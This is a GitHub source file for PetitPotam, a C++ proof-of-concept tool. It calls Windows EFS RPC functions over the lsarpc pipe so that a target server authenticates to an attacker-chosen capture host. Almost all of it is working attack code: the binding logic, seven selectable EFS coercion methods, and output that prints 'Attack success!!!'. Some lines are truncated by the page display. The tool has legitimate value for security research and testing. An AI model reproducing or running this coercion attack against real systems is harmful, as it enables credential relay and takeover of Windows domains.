bugch3ck Call RpcBindingSetAuthInfo to auth against RPC endpoint. cd97df7 · 2 years ago

169 lines (144 loc) · 4.31 KB

Code Blame Raw

```
1   // PetitPotam.cpp : Ce fichier contient la fonction 'main'. L'exécution du programme commence et se
2   // Author: GILLES Lionel aka topotam (@topotam77)
3
4   #include <stdio.h>
5   #include <tchar.h>
6   #include <assert.h>
7   #include <SDKDDKVer.h>
8   #include <Windows.h>
9   #include "ms-efsrpc_h.h"
10
11  #pragma comment(lib, "rpcrt4.lib")
12
13  const RPC_WSTR MS_EFSR_UUID = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e";
14  const RPC_WSTR InterfaceAddress = (RPC_WSTR)L"\\pipe\\lsarpc";
15
16  //Returns the last Win32 error, in string format. Returns an empty string if there is no error.
17  void PrintWin32Error(DWORD dwError)
18  {
19          LPWSTR messageBuffer = nullptr;
20          size_t size = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | F
21                  NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0
22
23          wprintf(L"Error Code %d - %s\n", dwError, messageBuffer);
24          //Free the buffer.
25          LocalFree(messageBuffer);
26  }
```

```
27
28      void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
29      {
30              return((void __RPC_FAR*) malloc(cBytes));
31      }
32
33      void __RPC_USER midl_user_free(void __RPC_FAR* p)
34      {
35              free(p);
36      }
37
38      handle_t Bind(wchar_t* target)
39      {
40              RPC_STATUS RpcStatus;
41              wchar_t buffer[100];
42              swprintf(buffer, 100, L"\\\\%s", target);
43              RPC_WSTR StringBinding;
44              handle_t BindingHandle;
45              RpcStatus = RpcStringBindingComposeW(
46                      MS_EFSR_UUID,
47                      (RPC_WSTR)L"ncacn_np",
48                      (RPC_WSTR)buffer,
49                      InterfaceAddress,
50                      NULL,
51                      &StringBinding);
52
53              if (RpcStatus != RPC_S_OK) {
54                      wprintf(L"Error in RpcStringBindingComposeW\n");
55                      return(0);
56              }
57
58              RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
59              if (RpcStatus != RPC_S_OK) {
60                      wprintf(L"Error in RpcBindingFromStringBindingW\n");
61                      return(0);
62              }
63
64              RpcStringFreeW(&StringBinding);
65
66              if (RpcStatus != RPC_S_OK) {
67                      wprintf(L"Error in RpcStringFreeW\n");
68                      return(0);
69              }
70
71              RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, (RPC_WSTR)target, RPC_C_AUTHN_LEVEL_PKT_P
72
```

```
73              if (RpcStatus != RPC_S_OK) {
74                      wprintf(L"Error in RpcBindingSetAuthInfoW\n");
75                      return(0);
76              }
77
78              return(BindingHandle);
79      }
80
81
82      int wmain(int argc, wchar_t** argv, wchar_t** envp)
83      {
84              if (argc != 4)
85              {
86                      wprintf(L"Usage: PetitPotam.exe <captureServerIP> <targetServerIP> <EFS-API-to-use>
87                      wprintf(L"\n");
88                      wprintf(L"Valid EFS APIs are:\n");
89                      wprintf(L"1: EfsRpcOpenFileRaw (fixed with CVE-2021-36942)\n");
90                      wprintf(L"2: EfsRpcEncryptFileSrv\n");
91                      wprintf(L"3: EfsRpcDecryptFileSrv\n");
92                      wprintf(L"4: EfsRpcQueryUsersOnFile\n");
93                      wprintf(L"5: EfsRpcQueryRecoveryAgents\n");
94                      wprintf(L"6: EfsRpcRemoveUsersFromFile\n");
95                      wprintf(L"7: EfsRpcAddUsersToFile\n");
96              }
97              else
98              {
99                      handle_t ht = Bind(argv[2]);
100                     HRESULT hr = NULL;
101                     PEXIMPORT_CONTEXT_HANDLE plop;
102                     SecureZeroMemory((char*)&(plop), sizeof(plop));
103                     wchar_t buffer[100];
104                     swprintf(buffer, 100, L"\\\\%s\\test\\topotam.exe", argv[1]);
105
106                     int errorgroup;
107
108                     if (wcscmp(argv[3], L"1") == 0)
109                     {
110                             errorgroup = 1;
111                             long flag = 0;
112                             hr = EfsRpcOpenFileRaw(ht, &plop, buffer, flag);
113                     }
114                     if (wcscmp(argv[3], L"2") == 0)
115                     {
116                             errorgroup = 1;
117                             hr = EfsRpcEncryptFileSrv(ht, buffer);
118                     }
```

```
119                     if (wcscmp(argv[3], L"3") == 0)
120                     {
121                             errorgroup = 1;
122
123                             long flag = 0;
124                             hr = EfsRpcDecryptFileSrv(ht, buffer, flag);
125                     }
126                     if (wcscmp(argv[3], L"4") == 0)
127                     {
128                             errorgroup = 1;
129                             ENCRYPTION_CERTIFICATE_HASH_LIST* blub;
130                             hr = EfsRpcQueryUsersOnFile(ht, buffer, &blub);
131                     }
132                     if (wcscmp(argv[3], L"5") == 0)
133                     {
134                             errorgroup = 1;
135                             ENCRYPTION_CERTIFICATE_HASH_LIST* blub;
136                             hr = EfsRpcQueryRecoveryAgents(ht, buffer, &blub);
137                     }
138                     if (wcscmp(argv[3], L"6") == 0)
139                     {
140                             errorgroup = 1;
141                             ENCRYPTION_CERTIFICATE_HASH_LIST blub;
142                             hr = EfsRpcRemoveUsersFromFile(ht, buffer, &blub);
143                     }
144                     if (wcscmp(argv[3], L"7") == 0)
145                     {
146                             errorgroup = 2;
147                             ENCRYPTION_CERTIFICATE_LIST blub;
148                             hr = EfsRpcAddUsersToFile(ht, buffer, &blub);
149                     }
150
151
152
153                     if (hr == ERROR_BAD_NETPATH && errorgroup == 1) {
154                             wprintf(L"Attack success!!!\n");
155                             return 0;
156                     }
157                     if (hr == ERROR_ACCESS_DENIED && errorgroup == 2) {
158                             wprintf(L"Attack success!!!\n");
159                             return 0;
160                     }
161                     else
162                     {
163                             wprintf(L"Did not receive expected output. Attack might have failed.");
```

```
164                             return 1;
165                     }
166
167
168             }
169     }
```